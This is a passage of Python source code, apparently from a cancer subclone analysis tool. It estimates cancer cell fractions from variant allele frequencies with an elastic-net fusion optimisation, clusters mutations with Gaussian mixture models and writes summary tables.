    phi_new = phi/tmp                                               # CCF 最大为1
    phi_new[phi_new > expit(control_large)] = expit(control_large)  # 极大控制--由置信区间控制？
    phi_new[phi_new < expit(-control_large)] = expit(-control_large)  # 负极大控制
    omiga_new = logit(phi_new)
    omiga_new[omiga_new > control_large] = control_large  # 极大控制
    omiga_new[omiga_new < -control_large] = -control_large  # 极大控制
    distance = np.subtract.outer(omiga_new, omiga_new)
    index_dis = np.triu_indices(distance.shape[1], 1)
    eta = distance[index_dis] #  ωi − ωj − ηij = 0

    tau = np.ones((int(mutation_num * (mutation_num - 1) / 2), 1))   # 拉格朗日乘子的参数？
    col_id = np.append(np.array(range(int(mutation_num * (mutation_num - 1) / 2))),
                       np.array(range(int(mutation_num * (mutation_num - 1) / 2))))
    row1 = np.zeros(int(mutation_num * (mutation_num - 1) / 2))
    row2 = np.zeros(int(mutation_num * (mutation_num - 1) / 2))
    starting = 0
    for i in range(mutation_num - 1):
        row1[starting:(starting + mutation_num - i - 1)] = i
        row2[starting:(starting + mutation_num - i - 1)] = np.array(range(mutation_num))[(i + 1):]
        starting = starting + mutation_num - i - 1
    row_id = np.append(row1, row2)
    vals = np.append(np.ones(int(mutation_num * (mutation_num - 1) / 2)),
                     -np.ones(int(mutation_num * (mutation_num - 1) / 2)))

    DELTA = scipy.sparse.coo_matrix((vals, (row_id, col_id)),
                                 shape=(mutation_num, int(mutation_num * (mutation_num - 1) / 2)))
    del row_id, col_id,row1,row2,vals,phi
    gc.collect()
    k = 0  # iterator
    residual = 100
    res_last = 100
    eta_new = eta
    while residual > precision and k < Run_limit :
        k = k+1
        omiga_old = omiga_new
        #eta_new = eta
        theta = np.exp(omiga_old) * multiplicity / (2 + np.exp(omiga_old) * total)
        A = np.sqrt(n) *(theta-vaf)/np.sqrt(theta * (1 - theta))
        B = np.sqrt(n) * theta/np.sqrt(theta * (1 - theta))
        omiga_tmp_2 = (DELTA.tocsr() * np.array((alpha * eta_new + tau.T).T)).flatten() - (B * A)
        Minv = 1 / (B ** 2 + mutation_num * alpha)
        trace_g = -alpha * np.sum(Minv)

        Minv_outer = np.outer(Minv, Minv)
        omiga_tmp_1 = np.diag(Minv) + (1 / (1 + trace_g) * alpha * Minv_outer)# add?
        del A,B,trace_g
        gc.collect()
        omiga_new = np.matmul(omiga_tmp_1, omiga_tmp_2.T)
        distance = np.subtract.outer(omiga_new, omiga_new)
        delt = (distance[index_dis] - 1 / alpha * tau.T).ravel()  #
        eta_new = update(delt, alpha, Lambda, tau)
        del delt,omiga_tmp_1,omiga_tmp_2
        gc.collect()
        omiga_new[omiga_new > control_large] = control_large
        omiga_new[omiga_new < -control_large] = -control_large
        tau = tau - np.array([alpha * (distance[index_dis] - eta_new)]).T
        residual = np.max(distance[index_dis] - eta_new)
        v = res_last-residual
        res_last = residual
        next_step = 1 + rho*(v/np.abs(v))
        alpha = alpha * next_step
        print(residual)
    eta_new = np.where(np.abs(eta_new) < post_th,0,eta_new)
    distance[index_dis] = eta_new
    return distance,phi_new,mutation_num

def corrected(distance,phi_new,n,mutation_num):
    class_label = -np.ones(mutation_num)
    class_label[0] = 0
    group_size = [1]
    labl = 1
    for i in range(0, mutation_num):
        for j in range(i+1):
            if distance[j, i] == 0:
                class_label[i] = class_label[j]
                group_size[int(class_label[j])] += 1
                break
        if class_label[i] == -1:
            class_label[i] = labl
            labl += 1
            group_size.append(1)
    labels = np.unique(class_label)
    phi_out = np.zeros([len(labels)])-1
    index = 0
    for i in range(len(labels)):
        ind = np.where(class_label == labels[i])[0]
        phi_tmp = np.sum(phi_new[ind] * n[ind]) / np.sum(n[ind])
        indexs= index
        if phi_tmp in phi_out:
            indexs = np.argwhere(phi_out==phi_tmp)
        else:
            index+=1
        class_label[ind] = indexs
        phi_out[indexs]=phi_tmp
    np.delete(phi_out, -1, axis=0)
    phi_res = np.zeros(mutation_num)
    for lab in range(len(phi_out)):
        phi_res[class_label == lab] = phi_out[lab]
    phi_res = np.round(phi_res,3)
    return phi_res,class_label

def clust_GMM(phi_new,phi_res,mutation_num, has_sklearn=True):
    limit_diff = 0.02
    limit_clust = 0.03
    Xmoon = phi_res.reshape([-1,1])
    if has_sklearn == True:
        n_components = np.arange(1, 5)
        models = [GMM(n, random_state=0).fit(Xmoon)
                  for n in n_components]
        bic_list = []
        for m in models:
            bic_list.append(m.aic(Xmoon))
        num_clust = np.argwhere(bic_list==np.min(bic_list))
        num_clust = np.max(num_clust)+1
        print(num_clust)
        gmm = GMM(n_components=num_clust,random_state=0).fit(phi_res.reshape([-1,1]))
        result = gmm.predict(phi_res.reshape([-1,1]))
    else:
        model1 = GMM.GMM(phi_res,5)
        result = model1.fit()

    result = np.array(result)
    lab = np.unique(result)
    balance = []
    for i in lab:
        c_list = phi_new[result == i]
        mu = fq(c_list)#round(np.mean(c_list), 2)
        sigma = np.std(c_list)
        print(mu,end="\t")
        print(sigma, end="\t")
        print(np.size(c_list))
        balance.append(mu)
    index_sort = np.argsort(balance)
    print("======================================================")
    if len(index_sort)==1:
        return {'phi': phi_res, 'balance': balance, 'label': result}
    for i in range(0, len(index_sort)):
        previous = i - 1
        the = i
        next = i + 1
        if i == 0:
            previous = the
            diff_after = balance[index_sort[next]] - balance[index_sort[the]]
            diff_befor = 1
        elif i == (len(index_sort)-1):
            next = the
            diff_befor = balance[index_sort[the]] - balance[index_sort[previous]]
            diff_after = 1
        else:
            diff_after = balance[index_sort[next]] - balance[index_sort[the]]
            diff_befor = balance[index_sort[the]] - balance[index_sort[previous]]
        if diff_befor == 0 :
            meger = 1
        elif diff_after == 0:
            meger = -1
        elif diff_befor > diff_after:
            meger = 1
        else:
            meger = -1
        c_1 = lab[index_sort[previous]]
        c1 = lab[index_sort[the]]
        c2 = lab[index_sort[next]]
        sigma = np.std(phi_new[result == c1])
        num = np.size(phi_new[result == c1])
        if meger == -1 and (diff_befor < limit_diff or num <= int(limit_clust * mutation_num) or sigma<0.002):
            print("merge:"+str(c1)+'\t'+str(c_1))
            clust1 = phi_new[result == c1]
            clust2 = phi_new[result == c_1]
            mu = np.mean(np.r_[clust1, clust2])
            balance[index_sort[the]] = mu
            balance[index_sort[previous]] = mu
            result = np.where(result == c_1, c1, result)
            lab[index_sort[previous]] = c1
        elif meger == 1 and (diff_after < limit_diff or num <= int(limit_clust * mutation_num) or sigma<0.002):
            print("merge:" + str(c1) + '\t' + str(c2))
            clust1 = phi_new[result == c1]
            clust2 = phi_new[result == c2]
            mu = np.mean(np.r_[clust1, clust2])
            balance[index_sort[the]] = mu
            balance[index_sort[next]] = mu
            result = np.where(result == c2, c1, result)
            lab[index_sort[next]] = c1
    return {'phi': phi_res,'balance':balance, 'label': result}

def clust_GMM_multisample(phi_new,phi_res, has_sklearn=True):
    Xmoon = phi_res.reshape([-1,2])
    if has_sklearn == True:
        n_components = np.arange(1, 6)
        models = [GMM(n, random_state=0).fit(Xmoon)
                  for n in n_components]
        bic_list = []
        for m in models:
            bic_list.append(m.aic(Xmoon))
        num_clust = np.argwhere(bic_list==np.min(bic_list))
        num_clust = np.max(num_clust)+1
        print(num_clust)
        gmm = GMM(n_components=4,random_state=0).fit(phi_res.reshape([-1,2]))
        result = gmm.predict(phi_res.reshape([-1,2]))
    else:
        model1 = GMM.GMM(phi_res,5)
        result = model1.fit()

    result = np.array(result)
    lab = np.unique(result)
    balance = []
    for i in lab:
        c_list = phi_res[result == i,:]
        mu = np.mean(c_list,axis=0)
        sigma = np.std(c_list,axis=0)
        print(mu,end="\t")
        print(sigma, end="\t")
        print(np.size(c_list))
        balance.append(mu)
    print("======================================================")
    return {'phi': phi_res,'balance':balance, 'label': result}

def Elastic_GMM_subclone(SNV_pass,purity,Prefix):
    r = SNV_pass[:,2].astype(int)
    n = SNV_pass[:,3].astype(int)
    total = SNV_pass[:,4].astype(int)
    multiplicity = SNV_pass[:,5].astype(int)
    #--------------------------------epoch canshu--------------------------------#
    Lambda = float(1)
    ploidy = 2
    alpha = 0.2
    rho = 0.02
    precision = 0.01
    Run_limit = 500
    control_large = 5
    #--------------------------------jingdu canshu-------------------------------#
    post_th = 0.01
    # -------------------------------run   --------------------------------------#
    distance, phi_new, mutation_num = ElasticNet_correct(r, n, multiplicity, total, ploidy, Lambda, alpha,
                                        rho, Run_limit, precision, control_large,post_th,purity,Prefix)
    return distance, phi_new, mutation_num,n

def clust_stdout(SNVtable,phi_new,res,path,name):
    labl = np.unique(res['label'])
    summary = np.zeros([len(labl), 3])
    for i in range(len(labl)):
        summary[i, 0] = labl[i]
        tmp = np.mean(res['phi'][np.where(res['label'] == labl[i])])
        #tmp = np.mean(res['balance'][labl[i]])
        print(tmp)
        summary[i, 2] = np.round(tmp, 3)
        summary[i, 1] = len(np.where(res['label'] == labl[i])[0])
    index = np.argsort(summary[:,2]).reshape(-1)
    summary = summary[index,:]
    answer = SNVtable[:,0:4].astype(int)
    #answer2 = SNVtable[:, 4:6].astype(int)
    answer = np.c_[answer,res['label'].astype(int),res['phi'].astype(float)]
    #with open(path+'/'+str(name)+'.Clust_pos.txt','w') as f:
    #    f.write('#chrom\tposition\tmajor\tminor\tclass\tvaf_phi \n')
    np.savetxt(path+'/'+str(name)+'.vaf.txt', phi_new, fmt='%.3f', delimiter=',')
    np.savetxt(path+'/'+str(name)+'.Clust_pos.txt', answer, fmt='%d\t%d\t%d\t%d\t%d\t%.3f', delimiter=',')
    np.savetxt('%s/%s.summary_table.txt' % (path, str(name)), summary, fmt='%d\t%d\t%.3f')

def clust_stdout_muliti(SNVtable,res,path,name):
    labl = np.unique(res['label'])
    summary = np.zeros([len(labl), 4])
    for i in range(len(labl)):
        summary[i, 0] = labl[i]
        #tmp = np.mean(res['phi'][np.where(res['label'] == labl[i]),:],axis=0)
        tmp = res['balance'][labl[i]]
        print(tmp)
        summary[i, 2:4] = np.round(tmp, 3)
        summary[i, 1] = len(np.where(res['label'] == labl[i])[0])
    index = np.argsort(summary[:,2]).reshape(-1)
    summary = summary[index,:]
    answer = SNVtable[:,0:4].astype(int)
    #answer2 = SNVtable[:, 4:6].astype(int)
    answer = np.c_[answer,res['label'].astype(int),res['phi'][:,0],res['phi'][:,1]]
    #with open(path+'/'+str(name)+'.Clust_pos.txt','w') as f:
    #    f.write('#chrom\tposition\tmajor\tminor\tclass\tvaf_phi \n')
    np.savetxt(path+'/'+str(name)+'.Clust_pos.txt', answer, fmt='%d\t%d\t%d\t%d\t%d\t%.3f\t%.3f', delimiter=',')
    np.savetxt('%s/%s.summary_table.txt' % (path, str(name)), summary, fmt='%d\t%d\t%.3f\t%.3f')